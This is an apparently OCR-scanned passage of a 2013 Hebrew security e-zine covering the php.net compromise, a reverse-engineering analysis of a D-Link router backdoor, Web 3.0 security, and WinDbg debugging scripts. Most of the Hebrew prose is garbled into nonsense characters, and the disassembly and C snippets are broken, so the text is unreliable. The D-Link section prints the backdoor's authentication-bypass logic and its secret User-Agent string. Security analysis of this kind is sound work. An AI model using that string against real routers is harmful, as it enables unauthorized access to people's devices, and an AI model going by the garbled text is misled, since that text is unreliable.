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[ Mabware Ahead!

€ - C [ php.net

@ chrome

The Website Ahead Contains Malware!

Google Chrome has blocked access to php.net for now.

Even if you have visited this website safely in the past, visiting it
now is very likely to infect your computer with malware.

Malware is malicious software that causes things like identity
theft, financial loss, and permanent file deletion. Learn more

m Ad\‘antEd

[[] Improve malware detection by sending additional data to Google when I encounter warnings like this. Privacy policy

[http://www.thehackernews.com :N1jn2a]
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[http://www.alienvault.com/open-threat-exchange/blog/phpnet-potentially-compromised-and-redirecting-to-an-exploit-kit :11j7n1]
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,"Reverse Engineering a D-Link Backdoor"

v 0'¥1910 D'NATN TNX DR wnwnw D-Link 7w 0'-Firmware-nn TNX'7 Rerevese Engineeringyx1?

.(DIR-100) D-Link

7w http-n MW DX NN'T A1 SquashFS na'n n'xapn nd>vn D NNt Binwalk-2 win'w ntva

NIWA NaITn .thttpd a10n HTTP nwa "arm ,amMp 7w ai7an 97 /bin/webs nnn 71nan pwnn

.D-Link m2107 Alphanetworks n1ann ™y N0IXY? DRINI ACME 7w NIN9 Ti7 oolan HTTP

PYUNN? NINTTAN 1221 7V 'RINRY "alpha_auth_check" nwa n¥19 NNt Az apnnn O Im

N2 TIPN YO DX M 00T LM0 nxaiea 2inan

(aGraphic - 0x470000) + "gr
, 0x3B8+var_29C ($sp)

1w 5gp, O0x3B8+saved_gp($sp)

la Fal, 0x470000

(aFublic - 0x470000) # "public/"

[* o)

1w
la
nop

nop

no
nop

addiu a1,
bnez Sva,
1i svi,

(5s0)

jalr $t9 ; strstr
1w $gp, 0x3B8+saved_gp($sp)
la 5al, 0x470000

{a¥mlset_rocdk_0 - 0x470000) # "xmlset

| I

Ll e

1w
la
no;
jalr
nop
1w
beqz
11

$gp, 0x3B8+saved_gp($sp)

Ii 1

[ =)

1w
1w
la
nop
jalr
nop
1w
move
addiu
bnez
1i

' (s0)
. (5s0)
» check_login

5t% ; check_legin

$gp, 0x3BB+saved_gp($sp)
5a0, 5=s0
$al, %sp, Ox3BS8+var_2A0

[http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor :11n1]
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NWA? N0 wNNYNN DOXN 2ITA7 N1'N NIUAl MIYRIN NPT 1901 y¥an 7"1n Tipn yop

MIYpn ,N'Y7g  Noon Np'Ta TV

Spublic” nf'nin nNn IR "graphic” D' NN D'¥apy

NNAN TNy

xmlset roodkcableoj28840ybtide

ni"yn nrNnnn J'IYJ"P"-U :AND1 1Y '0IN DNIDA NTTIA ARXIN |71'|7 NIN 72122 nwy A'"pPY vId'nNn

2"10 NTNNNN NRY N7 KD, 7nivy
Structure-1 D0'-Pointer-n TNX y'axn I’

"W Structure-a 0T 7N ,02T 7Y 1910

y¥'aw pnnn .navn X7 7ax ,"D-Link 9w n'- Firmware-a
1 1 1 1

XY [ND'TD NIT'RN TRRQ NNYRA NTRNN 71 nlwn Nwn

2 D AN DDA TR INIRYT 12V amMp.http_request_t nwa

W20 7w UserAgent-n '019 D'NWI 12 IT'RY

kbl ey

loc_414838C:

la 5al, 0Ox470000

nop )

addiu sal, daUserAgent - 0x470000) "
1i saz,

la 5t9,

nop )

jalr 5t9 ;

P -

1w Jgp, Oxd8+saved_gp(isp)

bnez 3w0, loc_4148EC # if(strncasecmp(header, "User-Agent:", 0xB) != NULL)
move 5a0, 3=0

[http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor :11j7na]
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int alpha auth check(struct
{

if (strstr (request->url,
strstr (request->url,
strcmp (request->user

return AUTH OK;
}

else

{

if (check login(reque

{
return AUTH OK;

return AUTH FAIL;

http request t *request)

"graphic/") ||
"public/"™) ||
agent, "xmlset roodkcableoj28840ybtide")

st->0xC, request->0xEQ0) != 0)

nwTn
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D-Link

™
— -
Building Networks for People Alr p I u s G

802.11g/2.4GHz Wireless Router

DI-524UP .
| Home  ERIFTITLE Status
Setup Wizard
Wizard

The DI-524UP is a Wireless Broadband Router ideal for home networking and small
business networking. The Setup Wizard will guide you to configure the DI-524UP
Wireless to connect to your ISP (Internet Service Provider). The DI-524UP's easy setup will
allow you to have Internet access within minutes. Please follow the setup wizard
step by step to configure the DI-524UP.

[l

/ ST |
\_Run Wizard )
DHCP Help
Language
| English o
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:(Web) 01NVY'XN DINN2 D"'7OVI D"a171200 072 190N NINY N1 TIVE,DWIX'T NNAITD

:(The shopping carts & static web) Web 1.0 n11opunHIN X
M4H (machines for :uwoin 2Tm 72y "My N ,wnnwn? 'vvo VTN Naxna Tpnnn Web 1.0
HTML '©Ta jonixan PN mn AT Web-n NwY wan wnnwnn ,NNNXK 0'7'M2a . humans)

.(Rendering in the server side) D""VVO

:(The writing and participating web) Web 2.0 na1opumIx .2
NIPY? 'Pwnn ¢ 11 19017 NIM'RN N WNnNwn? ' 'ovo v naxna Tpnnn Web 2.0
H4AM (humans for :naI7Imnn 97001 Web 1.0 7w vwoimn 71mn nann Jini L (7'2m nnaim)
-0 MY? Nwa? wnnwnn 7w N70'0 N0 ,ni7 . machines) -> M4H (machines for humans)
NIP7N T¥2 HTML-n T NX 2xY71 NN1a7 [979T7 D710 nd01 |31 ,11237 *721009 YT NI7T? ,Web
nIPY?" 7w Nn7215* noon ,qona .Ajax/JavaScript/CSS/AMD NnaITd ,NINTPNN NI win'y "'y NNTI
NN Y IWR "NIMNAN NINYA" QRNYNY [21'RNXY 91X V0K DON DON97I YJNYT? "N¥pn
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:(The semantic executing web) Web 3.0 niiojpuooIx .2

D'YIN'NI NIXT7 12D N DMIYWKRIN FNINIK DRI, NI0YIN DY 1901 197 IN71V9 DX 7nn Web 3.0
22 .Microsoft (e.g. Bing) -1 Google (e.g. iGoogle) NNAITY 72¥v NNAN 7w AIWNN NI'NMYNY 077010
N7ITNN DX 7701 Web 2.0 9w uvwoinn 7Timn nX 2N 0t

H4M (humans for machines) -> M2M (machine to machine) -> M4H (machines for humans)

7 N1an-Web 3.0 Security
www.DigitalWhisper.co.il
12 2013 7anan ,46 1"




Technologic

(The semantic executing web) ‘Web 3.0 na1ojoIx

H4M (humans for machines) -> M2M nml7Imnn DX NaiNa N770 Web 3.0-n miojpunIx

2v vwOIMN 7TINN 7w DaNN nnn WX (machine to machine) -> M4H (machines for humans)
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Natural language processing,
Autonomous agents,
Machine reasoning,

Machine Learning

Open APIs and Protocols,
Open data,
Open data formats,
Open source social platforms

Openld,
Open reputation,
Roaming portable identity and
data

:nwyn? 3.0
Web 3.0
l W l l i Network
Intelligent Open Open Transformation .
Applications Technologies Identity of Computing
The Web

Grid computing,
Cloud computing,
Distributed Computing

Openid,
Open reputation,
Roaming portable identity and
data

“NIMYN NIPON 190N 7'0N7 [N NIMMYN-7Y NIAIZIDLA NN'WAA [I'Va

nNnannn 101 P70 D NN NN0 MY L, Niyawn DIk 71 "j[w" mnwa wintwn L1
-0 NNR N7 axn "pv"™? DN aiwnnn DMYnN DR N2y DMRYN 0'9RNNE NIMNonn

MYN NN IT-N np'mn\qm AYINN X1 L,D1II2RN NN m7y" n"nlionn Data Center

.N'OIX DX

Open ID 2.0/3.0 / nnarm™) D'NINS D'VITIVOA Nd'AN N77DN NIMNT 71N N'MYN win'wn .2
7aynal "' pnaRwn? v nya NIsN-n'MNLVAR NIV Nawn WoRn (SAML 2.X
nY19 X77 NRT 721 072KV V'WOINT 71am 'wONIN 0*p Session TI'I NNAITY) DIPNN |2 "qIpY"
AWONN D'NIND D'0ITIVOL NONINN NFNT 72101 NrMwna wim'wn L md .("nig7n n'un™

o'nn'yn '@7o0 o |'2'7 [IAARN 2 NNt 20N N'un I'2 NNLVAIRN N'XNAVY'R VIX'

.7Y191 2¥n'7 NT MNXNA ININNN I'2 1Y DN’ NN '17w2 01D X¥m Web 3.0 ny |II'DYJ1

13

7 N1an-Web 3.0 Security

www.DigitalWhisper.co.il

2013 "anan ,46 |I'n



Technologic

WwEN 7Y 7M1 NMwoRn HAM -> M2M -> M4H nmai2imnn D *x¥7 X1 2ax nwndl Cav™

V192 NN'WN 2907 NIE7N NINT 2 Y

2 n

NNAITY DNVNID 00IaN)” "Iy 'oam” W AT "N Nt % D nikdh N qom

[roam"n .(miw? Risk Scoring DMXI'N NAITI LNINTIA NN ,NIWDY NTI00 L ININ'NDN

VY'¥N7 PINE NN'Y {907 TWONR' KDL LDINE NN'Y 2907 INWA Ny NIR'7n oy 7" "1y
['01IN" WNANWNY 1721 PINTNN'WY {790 D X7 (XY NP DR 0rTine pIim 'o1s1 omnty
7¥ nwaa Nn'on Y¥ann Miapyav "nanto nowa" \ "nivznn n7ap” 1"nn naw? "y
IR ,UNNVI'R? "IN A "NxEN NP?Y 1AW axn PN NI .0Mion DN DMNYYY NIpY

M "M rum' 0'oa 7y IR 1ITTIAY ON'YNIDINN 790

7w D7v9nn NN D '9Y W' Xl ,Naar Open Source 7V NIOOIAAN NIMITINDLVY win'wn .3
221 nT'NRIN™0N21IR N7YON NDYN WIN'Y N "N NIXN" NTIAY? Nay' n¥gn 'wnnun
N'YIA0I'R DY N7 10 Open Source DY NTIAY Ny D'0U7IAN NNRNN TNXR .0IPNRNN
AWM WO IR DTINY DN DYDY IX X7 IRT 721, N01IW NINIDYYO |2 NoIpw
D'012'9N D'DIAN )2'971 ,NXIN X NaA' eWallet-1 781001 OO WiM'wn D 'OX DY LD 10D
"IRIOT QO0") Wi D NIKYY N .AYTNN NIR'YNA DUI'W? 7an0nY7 1INt nrnaionn
N1 "2wnn [pnn"a IR\ "py" jonikny "N'o1o N90>™M1 1900 W N "nxpn N Awone

ONKIXR

NIN'RA 'MIYNYN NI9'Y TYWOR' TWN AT ,'NIYAYN [9IX] 7T IFNRKR'M 'v0rN win'wn 4
P L md (v v axraon9”) wion wim My "nxpn nig?"? axmn yTnn
T 7217'w 7'won7 nI's 12) Naion "napn" D NIKYY N1 HAM -> M2M -> M4H ntalzimnnn
ow7? nivson "nnpn" Nnwon? N7 ARwN 2 NN niunn 727 (onMaR? oxnnl)

JWNTI N71W9 ixa I\ Qo1 yT'n navn

N7 NINNSNNY "Big Data"-n NINNSNA |2 N'TTN NMI9N MIW' D X7 XY ,2aR NNYND
2V 2'nn wion yIXa 'wWoRn MapReduce-a win'win ,XNAIT? 0 "MMDKR'MN 0Xarf01Rn"
D'UNII D'¥AR 771D) DA W N7ITA NIMd N770n Hadoop Cluster 7w MATIan n'nmwn

(D1

DV .Yuval DWA NIY' %y DA INON Y NN TR ,Yuval DY NIW' U NdNIO X WA DX 0% ink Nn" N N9oi nNDY AT’
"NNR AT DXpEN NIE7 9w "ImRn nn" DX PTYAN AT L' T InR 7T 7Y "2 XX, PKI- 7aipnn my 9 Tina narm PR NRT
NN 7w 21 1oonnl

7 N1an-Web 3.0 Security
www.DigitalWhisper.co.il
14 2013 7anan ,46 1"




Technologic

|ITA MN7¥N DWY7 21I'N DINAN DTMYUNN NFAZID0 YR D TIn%7 [N nngnnn NNosoa |i'va ,q0n
‘Web 3.0-n

N7 W' CWWRI L, Web Navn n1avnt MR 717100 winm 770 Ywx G HTTP 2.0 217009 .1

2 1Nd .0'MTENN 71011 NO'NT "MNNNATNA WIN'Y N L,VTN N0l Latency-n NN D¥NX?

XY NI NN 2NN 09 NOMIX AN X7 HTTP 2.0-2 TLS\SSL-2 win'w ,01'D 0 2x¥n? Tiana

19¥ Y 7NN [9INAL LHTTP 1.1 nX gr7nt HTTP 2.0 ' '9X 'R NNINN nyT? TIama D "y7 O

Web 4.0 nIupu™>IRY NINY 120 ,NRT DY) Web-n N'MWN DX 1wnw' D21710N090 WY
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.2aar XML tagging and bagging-2 win'wn .2
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.Queries N2l Objects a1¥"7 Style N2 Tan DI NNNNO 2 7'y

NTAIWA TINY .0 DA IP- NRIMD J0IN Ntya? myn [nn ow? arn R CIPe Yipions 4
TNY2 NIX7 'Y NI ,DIPNDN NANNE D'YNANYA NaNN MIYpEn 710 Web 3.0-n jIthw
DLNA 0'07) NNAITY) LINVI'RN NA'A07 NNANNNYT 21T 775" DNIN 2D NN D ANEN
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The Semantic Web is a web of data.

The Semantic Web is about two things.
It is about common formats for
integration and combination

of data drawn from diverse
sources... It is also about
language for recording
how data relates to

real world objects.

V" =9 Semantiq
~ ¥ web
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120 ,(metadata) -Semantic Webn vn119 Nn1Tan? D'ainnnn 017N 1901 DI 12 DY
e RDF - Resource Description Framework

e OWL - Web Ontology Language

Web 3.0 Security
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NI'0YS NiaN
nin' Web 3.0 NILRUVDIR 7Y NOOIANN N'MYNA WNNWNYT DX QWK DTR '7OW NN Tn NNR
NNS9Y XIPY y'mn IR XU naNn DY7 NIrosn ntMaio? "nirvimw'n 2 Trade-off-n natn
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TN [DIN2 WNNWNAN NIX NINT? WID'NN YIINT7 DYONRAN D'N'DY DNUNID 19501 7¢ nn'w 1"yn

bR}l

e General Parameters: Geo Location, GPS, ISP Name, IP, Time, Typing rate, Keyboard
language/s, DNS-Name, IMEI Number, ESN Number, SIM Card Number, Mobile Phone
Number, etc.

e Browser Parameters: Browser Installation Agent, Browser/s Type/s & version/s, Browser add-
ons, Camera model & type, microphone model & type, User-Agent (including operating
system type & model), Homepage, Logon account (e.g. Gmail account), Cookies, HTTP
Referer, Encoding support, Accept-Language, etc.

e Data Parameters: Interests, old queries, common words, data type, data links, common use

Language, etc.

VY9N 7V NIX'YNA NMAN YT 7Y 719NN
110 ("1984") George Orwell 7w "andn DWITN D'OSWNN TNX

“He who controls the past controls the future. He who controls the present controls the past.”
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Semantic Web Common Web Attack Vulnerability
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:GDBpedia OP'NS NNAIT ,01' 121D Web 4.0

“DBpedia is a crowd-sourced community effort to extract structured information
from Wikipedia and make this information available on the Web. DBpedia allows you
to ask sophisticated queries against Wikipedia, and to link the different data sets on
the Web to Wikipedia data. We hope that this work will make it easier for the huge
amount of information in Wikipedia to be used in some new interesting ways.
Furthermore, it might inspire new mechanisms for navigating, linking, and improving

the encyclopedia itself.”
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n'oaIr'an
N'7'D aronaran
Architectural Styles and the Design of Network-based Software Architectures, Dr. Roy
Thomas Fielding:

http://www.ics.uci.edu/~fielding/pubs/dissertation/top.html

Eli Pariser: Beware online "filter bubbles":

http://www.ted.com/talks/eli pariser beware online filter bubbles.html

Project Page: Vulnerability Analysis of the Wombat Voting System by Bar Perach and Guy
Lando:

http://course.cs.tau.ac.il/secws12/projects/wombat-analysis

HOW TO CALCULATE INFORMATION VALUE FOR EFFECTIVE, SECURITY RISK ASSESSMENT,
Mario Sajko, Kornelije Rabuzin, Miroslav Baca Faculty of organization and informatics,
Varazdin, Croatia Web 1.0 vs Web 2.0 vs Web 3.0 vs Web 4.0 - A bird’s eye on the evolution
and definition:

http://flatworldbusiness.wordpress.com/flat-education/previously/web-1-0-vs-web-2-0-

vs-web-3-0-a-bird-eye-on-the-definition/

Dbpedia Project:
http://dbpedia.org/About

The Evolution of the Web - From Web 1.0 to Web 4.0 Dr. Mike Evans School of Systems
Engineering University of Reading:

http://www.cscan.org/presentations/08-11-06-MikeEvans-Web.pdf

Judge dismisses suit against Google for bypassing Safari privacy settings:

http://www.theverge.com/2013/10/10/4825350/judge-dismisses-suit-against-google-

for-bypassing-safari-privacy

1975 ,TNIXNAN YIA'7N NXXIN ,0N11A 0'KI7 NNNIN ,D'7¥9NNN D'Y7'awn |a

:HTTP 2.0 Xwna n'oarran
Hypertext Transfer Protocol version 2.0, draft-ietf-httpbis-http2-06:
http://tools.ietf.org/html/draft-ietf-httpbis-http2-06

SPDY and What to Consider for HTTP/2.0, Mike Belshe:

http://www.ietf.org/proceedings/83/slides/slides-83-httpbis-3

7 N1an-Web 3.0 Security
www.DigitalWhisper.co.il
22 2013 7anan ,46 1"



http://www.ics.uci.edu/~fielding/pubs/dissertation/top.html
http://www.ted.com/talks/eli_pariser_beware_online_filter_bubbles.html
http://course.cs.tau.ac.il/secws12/projects/wombat-analysis
http://flatworldbusiness.wordpress.com/flat-education/previously/web-1-0-vs-web-2-0-vs-web-3-0-a-bird-eye-on-the-definition/
http://flatworldbusiness.wordpress.com/flat-education/previously/web-1-0-vs-web-2-0-vs-web-3-0-a-bird-eye-on-the-definition/
http://dbpedia.org/About
http://www.cscan.org/presentations/08-11-06-MikeEvans-Web.pdf
http://www.theverge.com/2013/10/10/4825350/judge-dismisses-suit-against-google-for-bypassing-safari-privacy
http://www.theverge.com/2013/10/10/4825350/judge-dismisses-suit-against-google-for-bypassing-safari-privacy
http://tools.ietf.org/html/draft-ietf-httpbis-http2-06
http://www.ietf.org/proceedings/83/slides/slides-83-httpbis-3

Technologic

:Web 3.0 Xxwina a'@aran
e Web 3.0: The Third Generation Web is Coming:
http://lifeboat.com/ex/web.3.0

e Security and Privacy on the Semantic Web:

http://www.olmedilla.info/pub/2007/2007 book-sptmdm.pdf

e EMERGING PAYMENTS FRAUD TRENDS, Limor S Kessem, RSA FraudAction Technical
LeadWhy Should You Care About Web 3.0? Dr San Murugesan Director, BRITE Professional
Services Adjunct Professor, University of Western Associate Editor in Chief, IEEE IT
Professional, Sydney, Australia.

:Web 3.0-2 yT' NNVAN XY AP

e The Evolution of Targeted Attacks in a Web 3.0 World, Posted by Tom Kellermann in Cloud,
Cloud-based Security, Securing the Cloud:

http://cloud.trendmicro.com/the-evolution-of-targeted-attacks-in-a-web-3-0-world/

e Software [In]security: Securing Web 3.0, Gary McGraw:

http://www.informit.com/articles/article.aspx?p=1217101

:Big Data Xwa n'oIaryan
e What is MapReduce?

http://www-01.ibm.com/software/data/infosphere/hadoop/mapreduce/

e Building big data? Are you building a security headache too?

http://www.theregister.co.uk/2013/08/19/big data security considerations/

MJay"a nIrons naant yT'n NNVAN XY APAIYAN
N219p AN TY NN YW yThan avn’ e

http://www.digitalwhisper.co.il/files/Zines/0x13/DW19-3-Coulds.pdf

MIN'00P P'ONI MR IT'Y NN 'D'IVN D71V VTN NNVAX - @

http://www.digitalwhisper.co.il/files/Zines/0x1B/DW27-5-CloudsSecurity.pdf

AINN A2 NY DX LAY AIYNNA VTN NNVAX QN e

http://www.digitalwhisper.co.il/files/Zines/0x29/DW41-2-Cloud Regulation.pdf

Z'Y'JI]IWDN olI' N NNN LAY 'MN'Y yT'n 219

http://www.digitalwhisper.co.il/files/Zines/0x2B/DW43-3-Cloud.pdf
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WinDbg-2 22'09"j701 N'¥NIVIX

["OWT?IA NWO NRN

ANTN

NIXAWN 191 "D InT .Windows Debugger-n ,WinDbg NnxX 0''>n Windows-2 02T 'NNon 70
NID '750 .0I'N TV DAY D'NNO5N wnwnl ,Windows n7¥9nn NJ>Iyn NX NN9NY NIIXN NN NNYY
.D'9NKRT NN NNRYDY? [N ,0INKT NOTIN NINLAY [N L,'OX77 NIRAY 1917 [N 12 D'wnnwnl ,'7'000l
1L, (Windows SDK-n n'7'ann 27n3) D1'N2A Y9In XKINW NTAIVA NIX X7 N1 700 7w rmnnne 2

.0'¥ay7 1o0n 7w agnyn T 7Y miR "pennt”
| | |

,0091 "D W M7 7D X NIANE D'MY7 0Y9%IN DR O'7'NIE WinDbg 'wnnwn Daw XX
NN NN .0'2'YN D'UMI0N [1IANY7 NN NNY7 NNYWORAN ,NIN'WIN A'XNIVIX NI7DA [N WinDbg

NIXRNAIT

"T5> 0NN TNX 70 7¥ 'UNIVIX NINY Y¥271 .dmp '¥a7 NN'WA 7V 1YY WinDbg-n wiza7 N e
.NMIYNNY N'YA7 'RINN N1DIN 2D DT ANy

TIX 0'9TNY7 - NXN1 KINY Y2121 ,0'101 W 70NN 7w [N2'Ta won? WinDbg-n w7 N1 e
Janon [N

.D'10n 190 71TaN W 7D a'¥n71,000Y W MvIpn nn'w 7Y 11ay7 WinDbg-n wina? Inn e

NTY 0'9TNY7 TXI ,0'10N 210N D'V AIRN 72 NX (heap) Nn™Mya INX? WinDbg-n wjpa? na e

.N7RN D'OPMAIRNN TNXR 727 W'y D'Ion

QKNI D'v95"0 2IMDY7 T¥D AN ,WinDbg 7w nrYnIvIX Y¥a7 niivn 0YTN DX |N2) NT MNKN2
D'XYUIN 72 NIX NIOdY T n Ny XN ,0'ATN Yyaun .Niyoul NiMso Nimva 20 NN 2'NNY

.MSDN-2 WinDbg 7w TIv'n7 DdXNX 1190 X 271,7"10
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WinDbg nx1n 7w arxnivix

DIV DAYNNN NXANY .dmp '¥aj72 AR NMI90 11197 NTNIYY N1 .N'oN' VIYD VNIONN 7'NN)
DXN [2N7 T2 ,7"I0 0'¥apn 7V '0NIvIX [INQXR Y¥27 DN X WD N0 N7YW NX7Y79RN DNAY
AN 17 W' DNO Y7IRY IX) QPIN T 7Y 7187 NINAN N7W Y7981 NNVAX NY7IN IR W

-7 D2N1N N'"90 DY 190N 197 ANXIN 0U910NPZ'M NNLVAXN WPNN NIXIAPN NNKR .(UJE)IUYJ

.NNLAX NYZIN DIINA NN AKAN OXN 207 Nonn ,lexploitable owa nTIRD n'7'onin WinDbg
NDINNY P v N lexploitable ,Nonnnn T NXIN 'O 7721 noap NdINN OX L7wNn? D

JUININI0I9 NNVAX NYT2IN Dinn ,nonna 7un 171221 NaNN AR N7'On

N'YNIVIR NWOKN'Y [9IX] ,.dmp-N YAIZ NN'MD DY T'A MY ATIR9 Yn? NNYOX WinDbg-7 w!
IN JUNN] 'UNIVIN NINY 17V Y¥AT7 D1 1D yalp? u75n DX J19W7 N¥1) DA X .)'70nn Y

NN N YNNWIY DTIRON ,TTIA .dmp YAl 21ay .NH0-NDINK NYARYT [I1PIK7 INIK NITYY

windbg -z crash.dmp -c ".load C:\msr\exploitable; .logopen /t
crash exploitable.log; !exploitable; .logclose; q"

YIin? |91 ANX71 crash.dmp yalpn DX NINYI7 NN97 WinDbg NX D'Nin X ,7'V7 nTIpon N1iva
Jwnna nm? i a7 yalr? n1anon Wlogclose-7 logopen |'a NIXYNIN NITIRON ,NITIRO 190N
yY¥17 15 FOR Namn nTIo1 7wnY ,wnnwn? 221 71 - .dmp '¥ap N2In DNIYI I X

:0'¥27n 73 7wy 7"n niman nx

FOR %D IN (*.dmp) DO windbg -z %d -c ".load C:\msr\exploitable; .logopen
/t %d_.log; !exploitable; .logclose; q"

D'NINI NIXN'Y

AN DY DPZNAY K7X .WinDbg-2 NITIP9 7w viap oIX NI IX NIND XN NATIRN NNAITa
NITID y'¥n WinDbg 72 DWY WX VIT 1'RY NITIPD 19010 YIN7 IX NAdIM Nz'al? yxa? n'xn

WD wnnwa [nav - Lif, for, .foreach - nn"t Njpa nnwoxnn NIy

[An? D2*IYN 1X1L,N7Y90N Nowwn 7w 0'optaIR? (handles) nirT 7w yn 1197w N Ywn?
NTIAYN DX NwyN lhandle nTIF9N ,NNX DT IN1'NA NION"NN NIFT'N DN'7RY D'ORYAIND DN
N72710N01 NIT APNYN 7Y AT Ta127 0NN X7 )WNnn 7T DR WROn DT X7 DR 7aR,n7ava
DYo 701 ,7wn?%) 'OnIvIX |9IXQ YNN NNRYoN NTIPOY O'¥N X D'YS7 LD Y N .00y Y
7531 2T 91N NN 0D 7'MYN71 IXYY7 XN X7 wnnl L(breakpoint - Y'Yy NTIRAT DYYRANY

.M NTY DYO
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79 yn KN DY wn Cononw  WaitForMultipleObjects n'¥j21197 non*'nn nxan nTIRoON
NN A'¥N7 *TO N7X NITA MY Unnwn? 7210 .]yna DIFTa 1900 KN [IYXIN 20n9a e

ZNOP'T N'YAI9NYW DY 792 DT 73 7Y Dronon

bp KernelBase!WaitForMultipleObjects ".echo WaitForMultipleObjects
called; .for (r $t0 = 0; @$t0 < Qrcx; r $t0 = @St0 + 1) { !handle
poi (@rdx + 8*@st0) £ 1"

for nTIPon NX Nrawa wor WinDbg ,N'YYn N7 yaw nyo D1 7|80 Mg nn DAl
min 2w 2INNN - 0PN NWITY XD W' NIDNN NISY Nana for NR7I7A D .AR717 nxnw
N'Y0'RY7 WY 1 1-2 AR7170 nam Dt ,RCX NAIRD 7 Ax7170 ni7iaa Yy nzrTa S0 NN
N7'NNN VO AUYN T W NNIR MIYNY YN DQ'RN IR D'RYIN X AR7170 912 N2 .nXan
INI172) NIMIN NAIMDA [ND'TA K¥NIYW 1WA NIX TN poi NIVIDIXD .RDX MAIXA X¥N1n ,)vnn

(C/C++ 7w * 11019IX7 71PW RIN

DNAVIN DIYXIN DN0NISN Y DY ,0'2-64 N7VU9N NDIYNA NRY ANt 7"In NTIPON ,1AXR
721N V'2-64 NIdWYN] DI'XP]ID'? NX PN NNd0IN 2y n'oon D'L’ﬂ':)'?) NNXNN2 RCX, RDX n™Maixa

nUNNWN 0D'wNnw 197 ninnxk nwn (Digital Whisper % 43-n (I'722 *7w nxna mvh

20-n ONI' DY DNXR DX .St0, Stl, ..., $t19 - x> 20 nNIvAY? nrawl LSt0 T NInwna
ax¥nY Y1 X7¢ Dlpn X A Unnuni N DIXER? NN 01 N IR CTIXA 720,017 DRnen

.("nd1N MrnNa NINSY?) Nt

DN'Y7R WA 11710 P71, 0NNl [ND'TA DN DY A 1Y TIAYY WY yThan Nt Mpna
107197 12'7V1,00770 7W N71TA NIND NVYISY N'YIN'Y ATIPD 117 W' ,0NX D'A'I0N DNpNY NN
NTIPo2 wnnwn? 2n L .NET '%0na 7un? nioon nimps 1y 7'won7l nw 0790 NN
NN 22X .0N'7Y 0'0N9] PIANNYT7 NWONRNI 010N 10N D'UR™MIN Y AN Darxnn DumpHeap
?07"2IX 7D 12V D90 NTIPO YNINT IXRI 010N 210N D'OPMAIRD 72 W Nn'wn ARt 0N R DX

.N71¥97 N10121 WinDbg 7w 21'09Mj70n NI7ID>' [XD

[2IN DX TN 72 1Ay natynl LN System.String 2100 D'ORMAIRD 72 7V NNAIY ANAN ATIRON
NTIPO 7w 079 10197 TN K'Y, foreach NTIZOA D'UNNWN 1IN T1TA .AX' NIN ANIK NTNNNAN

MIY-NMIY NNX

.foreach /pS 3 /ps 2 (string {!dumpheap -type System.String}) { !dumpobj
-nofields string }
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NIN NA'YAN ,N'MNI9N NTIRON 7W 0790 IR 'R [AN71 'NNNY 19V, DRTD NTIRON DX AN '

92 72 nx1 n7w VYN NITNNNRN 73 NN

0:018> !dumpheap -type System.String

Address MT Size
02d71228 735baccO 14
02d71254 735baccO 128
02d712d4 735baccO 196
02d71408 735baccO 22
02d71420 735baccO 78
02d714b4 735baccO 28
02d714d0 735baccO 68
02d71514 7356ab98 88
02d7156¢c 735baccO 28

/ps-1 /pS NIMNWONA D'UNNYUN DX ,WI7UN AN NMIYXRIN NTINYN 71 nWyn? NNIX N1MynY |1’n
NINNIDN MY 27NNN2 NYITY) DMion 0D 7V A7T7 AR'7177 nimia n9X - foreach nTipon 9w

.(M7xnwN NTIMY? 77 ont'Nn% 1> DYO 751 0D Y PN NKRY7E,N7A0N Y

DYO 01 (NYTIN 0'9TNYT IX) NIXY7 D'¥YN XY 0] .0'KINY WNNWI DAY NNAITA 21aN) 91017
NXT) L,UNINN A1 17D AWK L 7Y Nt .malloc N'¥RAI91 N2 NRYZN [1'0'12 N7WI1 N'DINNY
malloc-7 DMAY? NI717Y TN NI7ITA ARXPN NIYPA DY) YUpaNnw ar¥znn 7712 IR 0'9Tn7

(7won

AYUND L[IUKRIN 2%7w2 .01 WA, 0NN 1IRY N DX IVXINY D0NY NTIZ1 N'TAN AXAN NTIPEON
127w AUpIann nR¥pnn 7712 NX t0 AT NINWNI 0Mniv 1R ,malloc N'X;2119n 1I]'l'7 0'0101 1IX
MTNN VY DX D'PTIA 1IX ,(gu NTIRON DTV IT nTI|7]'7 n'yv'an IJNI) nTin N'X219N0 TYUKXD L, IUn
TNIX D'0'9TNI N7W) NRYPZNNY D'WTI' X ,0 XIN DXI (0'1-64 NOIYNl A'N' NN DY - RAX 'UINJ)

N VTN

bp msvcrt!malloc "r $t0 = poi (Qesp+4); gu; .if (@eax == 0) { .printf
\"malloc failed, requested alloc size: %d\n\", @S$t0 }"

DD 0'9TNY O 1IRWD TINN NMTIVN L.printf NTIP92 DA nwnnwn 7"1n NTIpoaw 17 n'w
;N0 printf-7 M2 NIANINN NNIR IR NI IR NINO .printf-7 ' .n%7w D'09"PON 1NN DXdIN

CTIV'MA 0'aANY 'R TN ax

ATIFON NI'WIN'W YW AwNnnn DYY 11T ANAIYa 'DumpHeap nTIpOA [XD WNNWN X ,NnXD v
- NOOIN T 7y (MW 722 TA72 NNR NTIY) NI 171 079 X7 IDumpHeap -n wia? N w191 - foreach
./pS -1 /ps D'7ATA wnNNWN? 0'DMIX YD K7 ,0T) N7na .nTIR9Y short
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D'a01In N'U9"Po

NLAI ,TNI'MA NI X7 NR1] NNX MY NINN 75 DX 2NdY7 0TI 1'KY DNXPN NIKAAIMT 12D
YA Jmn (NN 190n 7y1) 07w V9RO [IYV7 DA TWOXN WinDbg |27 .npIThN N1'Nan 7'vin X7

NN N P ANNNYT 17 DAY 11D 090N 7W NTIRON NNIWA DNIVNTD 1'AVNY7 17'9X1,TI9)]

DWUN NNIXR YON7 2011 ,00170 YaI? 7"10 NIDIMAN DNXR 7Y DINN DX 1'2Y) VIY9 DX ,N'URD
yaip qxa Lwn? ($$-2 ni7'nnnn v ,Nnyn NR2INY 9roin DA 7211 AT Mjznal) VeMZod
NITY2 N0ONAN NN 7V 1T 12yn NYN¥ann ,NRAN N'DINN DX 1 0'wll stackwalk.wds nwa

:(V12-32 nIPWNA N1ONNN NN 1INT) EBP NAIXA N7'NNNY MYIZAN Nn'win

$$ Walk the stack from EBP downwards until we reach O
.for (r $t0 = @ebp; poi (@St0) != 0; r $t0 = poi (@St0)) {

$$ Display the symbols closest to the potential return address on
stack

1n poi (Gebp+4)

NIYXNXA L('ONIVIX [DIXA MY NTIRIN 7710) WinDbg-2 N1 701 NRdINN DR Yn? 2210 nyd

XN NTIRON

$$>< stackwalk.wds

2V 721N V97O AMDY D'YN XY N ,XAAIT? 70M0N19Y7 pIpT 17w U9PON DX NN DAl

